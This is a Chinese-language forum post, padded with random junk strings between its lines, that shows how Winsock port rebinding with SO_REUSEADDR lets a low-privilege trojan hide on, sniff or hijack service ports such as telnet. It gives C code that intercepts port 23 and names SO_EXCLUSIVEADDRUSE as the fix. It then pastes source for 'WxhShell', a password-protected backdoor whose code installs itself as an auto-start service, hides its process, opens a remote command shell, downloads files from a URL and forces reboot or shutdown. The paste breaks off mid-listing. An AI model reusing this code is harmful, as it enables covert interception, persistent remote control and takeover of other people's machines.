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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TRk ?8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lz9$,Y[  
+(z_"[l"  
  saddr.sin_family = AF_INET; !Bk[p/\  
(RDa,&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rysP)e  
)e|$K= D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k+WO &g*|  
*#Lsjk~_-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G>=9gSLM  
s<Ex"+  
  这意味着什么?意味着可以进行如下的攻击: ReI=4Jq11  
N?a1sdR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P&[Ft)`  
:jk)(=^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~{7zm"jN  
'ZGT`'ri  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hF{x')(#l  
jU]]:S4xD/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `P^u:  
&547`*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BaWQ<T8p8  
60hNCVq%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P\q<d  
R<n8M"B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L,C? gd@"  
aPD?Bh>JU  
  #include $f<eq7rRe  
  #include a1 4 6kq  
  #include 'A@qg^e:`  
  #include    <[Tq7cO0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P9 {}&z%:  
  int main() Vqa5RVnI  
  { U{T[*s  
  WORD wVersionRequested; >W`S(a Mn  
  DWORD ret; 6CcB-@n4  
  WSADATA wsaData; '[>\N4WD  
  BOOL val; 0kU3my]  
  SOCKADDR_IN saddr; o,S!RG&  
  SOCKADDR_IN scaddr; !dfS|BA]  
  int err; !Qv5"_  
  SOCKET s; yxaT7Oqh%  
  SOCKET sc; C6K|:IK{  
  int caddsize; b4Ricm  
  HANDLE mt; 6 WA|'|}=  
  DWORD tid;   1.Haf  
  wVersionRequested = MAKEWORD( 2, 2 ); t{/:(Nu  
  err = WSAStartup( wVersionRequested, &wsaData ); p!HPp Ef+#  
  if ( err != 0 ) { "XGD:>Q.  
  printf("error!WSAStartup failed!\n"); vnz[w=U  
  return -1; TpJg-F  
  } u:_sTfKm&  
  saddr.sin_family = AF_INET; c@RT$Q9j  
   q%OcLZ<,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4 t&gW  
>EBZ$X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WW//heJe-  
  saddr.sin_port = htons(23); [3t0M5x w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dh hG$  
  { '8s>rH5[V  
  printf("error!socket failed!\n"); +mJ :PAy4  
  return -1; = E&b=  
  } zWy ,Om8P  
  val = TRUE; ?r{TOj n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XOu+&wOu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CTl(_g  
  { kcLj Kp  
  printf("error!setsockopt failed!\n");  7]p>XAb  
  return -1; _^_5K(Uq  
  } <e;jW K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dv"as4~%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f'1(y\_fb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c*N50%=4  
{I4%   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @)o0GHNP  
  { rpUy$qrRc  
  ret=GetLastError(); mbF(tSy  
  printf("error!bind failed!\n"); rei 8LW  
  return -1; dX_!0E[c  
  } Wt>J`  
  listen(s,2); x|.v{tQa  
  while(1) mfZ)^X  
  { sB?2*S"X)<  
  caddsize = sizeof(scaddr); 8$\Za,)g  
  //接受连接请求 6tOCZ'f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RTK}mhnV  
  if(sc!=INVALID_SOCKET) inYM+o!Ub  
  { i][f#e4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F 4GP7]  
  if(mt==NULL) Dt W*n1Bt  
  { DeH0k[o  
  printf("Thread Creat Failed!\n"); ):3MYSqX  
  break; *~c qr  
  } 3I|O^   
  } \,2gTi,=  
  CloseHandle(mt); w"{bp  
  } & B}Lo  
  closesocket(s); >L^xlm%7o  
  WSACleanup(); | z:Q(d06  
  return 0; @!e~G'j%VD  
  }    #;`Oj  
  DWORD WINAPI ClientThread(LPVOID lpParam) 27m@|M] R  
  { C`)_i3 ^  
  SOCKET ss = (SOCKET)lpParam; b 8>q;  
  SOCKET sc; gc##V]OD  
  unsigned char buf[4096]; Hk@r5<{  
  SOCKADDR_IN saddr; XlVc\?  
  long num; >W r$Y{  
  DWORD val; Z(p*Z,?u  
  DWORD ret; {|z#70  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?{eY\I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F$i$a b  
  saddr.sin_family = AF_INET; R<|ejw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R\*)@[y9l  
  saddr.sin_port = htons(23); s2^B(wP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sm1;MF]/u  
  { ^00{Hd6  
  printf("error!socket failed!\n"); Dzr e'  
  return -1; UgR :qjI  
  } JT04vm4  
  val = 100; X'f)7RbT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \b$<J.3  
  { 5X0QxnnV  
  ret = GetLastError(); W"Z#Fs{n8  
  return -1; 'G8 ?'u_)  
  } 1SUzzlRx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ll%G!VR  
  { sm   
  ret = GetLastError(); )|pU.K9qZ  
  return -1; JdiP>KXV  
  } Yrxk Kw#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZYa\"zp-  
  { G=|70pxU  
  printf("error!socket connect failed!\n"); :k~dj C  
  closesocket(sc); :=9<  
  closesocket(ss); tw<P)V\h  
  return -1; /g@^H/DO  
  } K\(6 rS}N  
  while(1) 7(Cx!Yb  
  { 9OyNi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %G[/H.7s-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F;P5D<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 - IU4#s  
  num = recv(ss,buf,4096,0); s)k y/ce  
  if(num>0) H@D;e  
  send(sc,buf,num,0); F.?01,J=1  
  else if(num==0) b/u8} J  
  break; Ns<?b;aK  
  num = recv(sc,buf,4096,0); q jz3<`7-  
  if(num>0) hbI;Hd  
  send(ss,buf,num,0); (rcMA>2=  
  else if(num==0) RBE7485  
  break; cKjRF6w  
  } &s8<6P7  
  closesocket(ss); #by Jqy&e  
  closesocket(sc); ?v4E<iXs  
  return 0 ; K(VW%hV1  
  } d2~l4IL)~  
_R^y\1Qu  
ARF\fF|<2  
========================================================== 1k[GuG%/K  
\}#@9=  
下边附上一个代码,,WXhSHELL Z5B/|{  
MDHb'<o?y  
========================================================== Y5Z!og  
#!})3_Qc(y  
#include "stdafx.h" 9i=B  
? %(spV  
#include <stdio.h> }G'XkoI&  
#include <string.h> ubbnFE&PD  
#include <windows.h> ~}Z'0W)Q`z  
#include <winsock2.h> Yw)Fbt^  
#include <winsvc.h> -bS)=L  
#include <urlmon.h> &RO7{,`  
'#D8*OP^  
#pragma comment (lib, "Ws2_32.lib") Svw<XJ   
#pragma comment (lib, "urlmon.lib") ((<`zx  
()\jCNLT  
#define MAX_USER   100 // 最大客户端连接数 9I .^LZ"  
#define BUF_SOCK   200 // sock buffer yMxTfR  
#define KEY_BUFF   255 // 输入 buffer B!;+_%P76  
"IFg RaP=  
#define REBOOT     0   // 重启 /t5p-  
#define SHUTDOWN   1   // 关机 ]Blf9h7  
F*` t"7Lm  
#define DEF_PORT   5000 // 监听端口 &| !B!eOY  
iZxt/}1X0  
#define REG_LEN     16   // 注册表键长度 exZLj0kvF  
#define SVC_LEN     80   // NT服务名长度 LZ<[ll#C  
~3CVxbB^<  
// 从dll定义API IQnIaZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,T|x)"uA`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U~H?4Izl=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cWa)#:JOV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;:]\KJm}?  
cyQBqG  
// wxhshell配置信息 =a$Oecg?  
struct WSCFG { }k7'"`#?"  
  int ws_port;         // 监听端口 a#[-*ou`  
  char ws_passstr[REG_LEN]; // 口令 Ck'aHe22'  
  int ws_autoins;       // 安装标记, 1=yes 0=no V.=lGhi  
  char ws_regname[REG_LEN]; // 注册表键名 b>11h  
  char ws_svcname[REG_LEN]; // 服务名 fS=hpL6]@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O{]9hm(tN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JOD/Raq.1k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I g \#f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E[g*O5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QlEd6^&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 38IMxd9v  
&<]<a_pw  
}; :iPy m}CE  
)9L/sKz  
// default Wxhshell configuration 2k5/SV X  
struct WSCFG wscfg={DEF_PORT, $yu?.b 9H#  
    "xuhuanlingzhe", ub K7B |p  
    1, fU+Pn@'  
    "Wxhshell", NM#- Af*pg  
    "Wxhshell", -VT+O+9_A  
            "WxhShell Service", gfgn68k  
    "Wrsky Windows CmdShell Service", cWLqU  
    "Please Input Your Password: ", A''pS  
  1, :/N+;- 18  
  "http://www.wrsky.com/wxhshell.exe", /*rhtrS)  
  "Wxhshell.exe" QHlU|dR)Ry  
    }; #hw>tA6  
d~9!,6XM  
// 消息定义模块 0 n vSvk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1G^#q,%X_v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GJA`l8`SQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cg{AMeW  
char *msg_ws_ext="\n\rExit."; Log|%P\  
char *msg_ws_end="\n\rQuit."; S\#17.=  
char *msg_ws_boot="\n\rReboot..."; iG<Som  
char *msg_ws_poff="\n\rShutdown..."; l"+J c1\X  
char *msg_ws_down="\n\rSave to "; SA"8!soY3  
J'T=q/  
char *msg_ws_err="\n\rErr!"; ;zH HIdQ>-  
char *msg_ws_ok="\n\rOK!"; _NZ@4+aW  
(k?7:h  
char ExeFile[MAX_PATH]; oBQm05x"  
int nUser = 0; ZH 6\><My  
HANDLE handles[MAX_USER]; l.+yn91%>  
int OsIsNt; 3V<&|  
>I"V],d!6  
SERVICE_STATUS       serviceStatus; q_[G1&MC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I5ZqBB  
gm)@c2?.  
// 函数声明 tJ0NPI56yP  
int Install(void); mY7>(M{  
int Uninstall(void); /)3Lnn{W  
int DownloadFile(char *sURL, SOCKET wsh); [1yq{n=  
int Boot(int flag); 0JjUAxNq  
void HideProc(void); v6=-g$FG  
int GetOsVer(void); R[B?C;+(O  
int Wxhshell(SOCKET wsl); EnVuD 9  
void TalkWithClient(void *cs); pY"O9x  
int CmdShell(SOCKET sock); `'S0*kMT  
int StartFromService(void); 9 ; i\g=  
int StartWxhshell(LPSTR lpCmdLine); Cb;WZ3HR  
 ti@kKz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /~p+j{0L3W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zyf P; &  
wq!iV |  
// 数据结构和表定义 `Ityi}  
SERVICE_TABLE_ENTRY DispatchTable[] = .ic:`1  
{ ]/X(V|t  
{wscfg.ws_svcname, NTServiceMain}, p *w$:L  
{NULL, NULL} eD?3"!c!  
}; j]rz] k  
uBrMk  
// 自我安装 DGESba\2+  
int Install(void)  ;q>9W,jy  
{ zCaT tb|@  
  char svExeFile[MAX_PATH]; XzIx:J6  
  HKEY key; w?Ju5 5  
  strcpy(svExeFile,ExeFile); R9+jW'[K  
V9NTs8LKc  
// 如果是win9x系统,修改注册表设为自启动 k?GD/$1t  
if(!OsIsNt) { *Mc7f?H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w8Sv*K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \*t~==WB  
  RegCloseKey(key); Y"g.IK`V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,F6=b/eZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pc]J[ S?P  
  RegCloseKey(key);  XRN+`J  
  return 0; iUk-'   
    } _i0kc,*C\  
  } _l`e#XbG  
} 6A R2htN^  
else { q!~ -(&S  
a?h*eAAc.  
// 如果是NT以上系统,安装为系统服务 Hh;:`;}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gY-5_Ab  
if (schSCManager!=0) 7r# ymQ  
{ k44Q):ncY7  
  SC_HANDLE schService = CreateService 5*%#o  
  ( "UFs~S|e  
  schSCManager, 0pb '\lA  
  wscfg.ws_svcname, OPJ: XbG  
  wscfg.ws_svcdisp, Y$K!7Kq  
  SERVICE_ALL_ACCESS, Cizvw'XDV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , igL<g  
  SERVICE_AUTO_START, x\e;+ubt}  
  SERVICE_ERROR_NORMAL, SymwAS+  
  svExeFile, R7 jmv n  
  NULL, >r@.F%  
  NULL, Bh`N[\r  
  NULL, +avMX&%  
  NULL, YUU-D(  
  NULL G6P)C##ibn  
  ); ji1HV1S  
  if (schService!=0) VZka}7a  
  { 'wasZ b<^  
  CloseServiceHandle(schService); UB`ToE|Ii  
  CloseServiceHandle(schSCManager); m><w0k?t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N7r_77%m0  
  strcat(svExeFile,wscfg.ws_svcname); `$LWmm#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6DIZ@oi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g6t"mkMY L  
  RegCloseKey(key); 4LcX<B U9  
  return 0;  +ECDD'^!  
    } e1myH6$W  
  } %VJ85^B3  
  CloseServiceHandle(schSCManager); lf<S_2i  
} ZIR0PQh\  
} P;[OWSR[d  
1F'1>Bu~  
return 1; WO5O?jo'  
} 8M,9kXq{L  
OI1ud/>h  
// 自我卸载 #eZ6)i<  
int Uninstall(void) pL=d% m.W  
{ ]M>9ULQ  
  HKEY key; N]EcEM#  
1LJuCI=~  
if(!OsIsNt) { gJiK+&8I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -$VZte x  
  RegDeleteValue(key,wscfg.ws_regname); dC e4u<so\  
  RegCloseKey(key); 5<pftTcZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,C.:;Ime({  
  RegDeleteValue(key,wscfg.ws_regname); D-Vai#Cd  
  RegCloseKey(key); AE`We$!  
  return 0; YYEJph@06q  
  } #ge)2  
} \@3Qi8u//  
} 9Ya<My  
else { 1 2++RkL#  
up3O|lj4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -4rDbDsr  
if (schSCManager!=0) kd:$oS_*s  
{ c3*t_!@oC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SKuIF*"! S  
  if (schService!=0) )0vU k  
  { _\PNr.D 8  
  if(DeleteService(schService)!=0) { o}Odw;  
  CloseServiceHandle(schService); -4w=s|#.\  
  CloseServiceHandle(schSCManager); PjT=$]  
  return 0; 1(zsOeX  
  } H7U li]e3  
  CloseServiceHandle(schService); p^nL&yIW,%  
  } E9|eu\  
  CloseServiceHandle(schSCManager); n,HE0Zn]Y_  
} OH^N" L  
} <e]Oa$  
q+ KzIde|%  
return 1; "LYh7:0s!k  
} 'bGX-C  
> oA? 6x  
// 从指定url下载文件 &C im!I  
int DownloadFile(char *sURL, SOCKET wsh) "\Egs)\  
{ )k&a}u5y  
  HRESULT hr; \~d";~Y`  
char seps[]= "/"; V@7KsB  
char *token; K3uG2g(>2  
char *file; oRKEJ Nps  
char myURL[MAX_PATH]; 5(W"-A}  
char myFILE[MAX_PATH]; YCe7<3>J4  
TSAU?r\P  
strcpy(myURL,sURL); ^=n+T7"J  
  token=strtok(myURL,seps); @D-AO_  
  while(token!=NULL) GLn{s  
  { i&njqK!wS  
    file=token; >-_d CNZ  
  token=strtok(NULL,seps); id<:p*  
  } G$'jEa<:u  
v5;I]?72l~  
GetCurrentDirectory(MAX_PATH,myFILE); 9Suu-A  
strcat(myFILE, "\\"); d_n7k g+  
strcat(myFILE, file);  ;N B:e  
  send(wsh,myFILE,strlen(myFILE),0); <2!v(EkI  
send(wsh,"...",3,0); >{eCh$L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nzjkX4KV  
  if(hr==S_OK) O%1v) AT&\  
return 0; ^JI o? R  
else i,V;xB2  
return 1; nJRS.xs  
Q'+MFld   
} P o jmC  
E^GHVt/.  
// 系统电源模块 6{[pou&  
int Boot(int flag) Am8x74?  
{ [s9O0i" Y  
  HANDLE hToken; @prG%vb"  
  TOKEN_PRIVILEGES tkp; A*. /,KT  
{X2`&<i6  
  if(OsIsNt) { sS&Z ,A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tu{h<Zy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M :3u@06a  
    tkp.PrivilegeCount = 1; $F.([?)k?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,+qVu,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1h*)@  
if(flag==REBOOT) { Qr1e@ =B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S$f6a'  
  return 0; h/x0]@M&  
} g }laG8  
else { iv phlw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5L:1A2Z?c  
  return 0; |AlR^N  
} $?,a[79  
  } Tirux ;  
  else { 5TBp'7 /s~  
if(flag==REBOOT) { kc/{[ME  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \%sVHt`c  
  return 0; ,>t69 Ad  
} \#68;)+=  
else { T&86A\D\z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "x@='>:$  
  return 0; p8s:g~ W  
} "<}&GcJbz  
} [1Ydo`  
A2}Rl%+X]6  
return 1; MNH1D! }  
} Y(\T- bI  
)BfT7{WN  
// win9x进程隐藏模块 ^kS T  
void HideProc(void) .(J?a"  
{ iHf-{[[Z  
{pb>$G:gfx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /7!""{1\\  
  if ( hKernel != NULL ) @/r^%G  
  { _"4xKh)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `%3 /   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DK0.R]&4(  
    FreeLibrary(hKernel); 7bxA]s{m  
  } \A `hj~  
JT fd#g?I  
return; j3q~E[Mz\  
} E7Cy(LO  
+UJuB  
// 获取操作系统版本 _C\[DR0n  
int GetOsVer(void) =)O,`.M.Y  
{ ogFKUD*h&>  
  OSVERSIONINFO winfo; XC7%vDIt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B2Xn?i3 l  
  GetVersionEx(&winfo); @"T"7c?Cv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \c[IbL07  
  return 1; Mg#j3W}]  
  else 2MA]jT  
  return 0; 9w9jpe#  
} )otb>w5  
DO7W}WU  
// 客户端句柄模块 ~OePp a\  
int Wxhshell(SOCKET wsl) 6Es? MW=  
{ T32BnmB{  
  SOCKET wsh; y8VpFa  
  struct sockaddr_in client; Q-#$Aa  
  DWORD myID; l{w#H|]  
smG>sEp2  
  while(nUser<MAX_USER) _2btfY1U  
{ 1b8p~-LsU  
  int nSize=sizeof(client); 4@.|_zY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %3HVFhl  
  if(wsh==INVALID_SOCKET) return 1; iTW? W\d  
Bx[rC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %AOIKK5  
if(handles[nUser]==0) 8G>>i)Sbg  
  closesocket(wsh);  p0.|<  
else -T6(hT\  
  nUser++; CIjZG?A  
  } 'WHHc 9rG,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )} DUMq7  
pf4 ^Bk}e  
  return 0; oJKa"H-jL  
} "m{,~'x  
7VK}Dy/Vvn  
// 关闭 socket .oEmU+  
void CloseIt(SOCKET wsh) A?TBtAe  
{ H' T  
closesocket(wsh); W)(^m},*8D  
nUser--; xf%4, JQ  
ExitThread(0); }FF W|f  
} &h*S y  
mj?16\|]  
// 客户端请求句柄 M8k"je7`s  
void TalkWithClient(void *cs) 7?OH,^  
{ `RMI(zI3g.  
DoC(Z)o  
  SOCKET wsh=(SOCKET)cs; >pkT1Z&'  
  char pwd[SVC_LEN]; _md=Q$9!m  
  char cmd[KEY_BUFF]; UN"(5a8.  
char chr[1]; s<x1>Q7X~  
int i,j; -st7_3  
_ >` X]I;  
  while (nUser < MAX_USER) { @v\*AYr'M  
q.Nweu!jQ  
if(wscfg.ws_passstr) { tU"raP^ =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4[ryKPa,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {%w!@-  
  //ZeroMemory(pwd,KEY_BUFF); z9W`FBg  
      i=0; avmcw~ TF  
  while(i<SVC_LEN) { = sAn,ri  
D .vw8H3  
  // 设置超时 [nxE)D  
  fd_set FdRead; X &2oPo  
  struct timeval TimeOut; B*!WrB :s  
  FD_ZERO(&FdRead); )o!XWh  
  FD_SET(wsh,&FdRead); 5 =(c%  
  TimeOut.tv_sec=8; ozsxXBh-`'  
  TimeOut.tv_usec=0; z}SND9-"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PLM_#+R>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 4 LI5T  
*zO&N^X.4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ck#"*] ,  
  pwd=chr[0]; L]a`"CH:a$  
  if(chr[0]==0xd || chr[0]==0xa) { TEUY3z[g  
  pwd=0; KlK`;cr?  
  break; U=bEA1*@0  
  } eMK+X \  
  i++; TG n-7 88  
    } VcK}2<8:+~  
^ 4%Zvl  
  // 如果是非法用户,关闭 socket -ZW0k@5g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9Pd* z>s  
} 0;,IKXK6X  
! #wdVe_(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IB.yU,v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S\y%4}j  
Z,N$A7SBE  
while(1) { 7iu Q9q^&  
w^K^I_2ge  
  ZeroMemory(cmd,KEY_BUFF); I PE}gp  
_eLWQ|6Fx  
      // 自动支持客户端 telnet标准   59(U`X  
  j=0; 2EQ 6J  
  while(j<KEY_BUFF) { o6"*4P|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Do?P<x o  
  cmd[j]=chr[0]; ^GN8V-X4y  
  if(chr[0]==0xa || chr[0]==0xd) { PXP`ZLF  
  cmd[j]=0; %Qn(rA@9  
  break;  Gt9wR  
  } X7UBopm&  
  j++; K|W^l\Lt  
    } b M;`s5d  
B68H&h]D#'  
  // 下载文件 $ &5w\P  
  if(strstr(cmd,"http://")) { ]T O/kl/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iNcZ)m/  
  if(DownloadFile(cmd,wsh)) H;<!TX.zD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-*NW0  
  else (k-YI{D3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #i QX 6WF  
  } bC@k>yC-  
  else { qZ2&Xw.{1  
uMXc0fs!$  
    switch(cmd[0]) { .uZ7 -l  
  @^nu #R  
  // 帮助 jRkC/Lw  
  case '?': { bv?0.{Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OVoO6F ]  
    break; L^9HH)Jc  
  } >AD =31lq  
  // 安装 #?} 6t~  
  case 'i': { ed~R>F>  
    if(Install()) "i'bTVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTr34n  
    else A,i()R'I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  vfvlB[  
    break; <FFJzNc+  
    } cErI%v}v0  
  // 卸载 bk#xiuwT  
  case 'r': { fhp)S",  
    if(Uninstall()) kL{;.WsB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dhqLVgL{  
    else ^kj=<+ v#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  :,]S}R  
    break; +KK$0pL  
    } H^c0Kh+  
  // 显示 wxhshell 所在路径 X\GM/A  
  case 'p': { fhpX/WE6  
    char svExeFile[MAX_PATH]; V: p)m&y6  
    strcpy(svExeFile,"\n\r"); gqiXmMm:9  
      strcat(svExeFile,ExeFile); _pDjg%A>n  
        send(wsh,svExeFile,strlen(svExeFile),0); =(U/CI  
    break; K\=8eg93Z  
    } -R+zeu(e'  
  // 重启 ;'kI/(;;C  
  case 'b': { T@+ClZi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OS7R Qw1  
    if(Boot(REBOOT)) 1 0N,?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B< ;==|  
    else { &a~=b,  
    closesocket(wsh); Jgx8-\ 8  
    ExitThread(0); 7s>a2  
    } r7z6___  
    break; G\H q/4  
    } vP]9;mQ  
  // 关机 (}H ,ng'4  
  case 'd': { @h-T:$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6TFo|z!C  
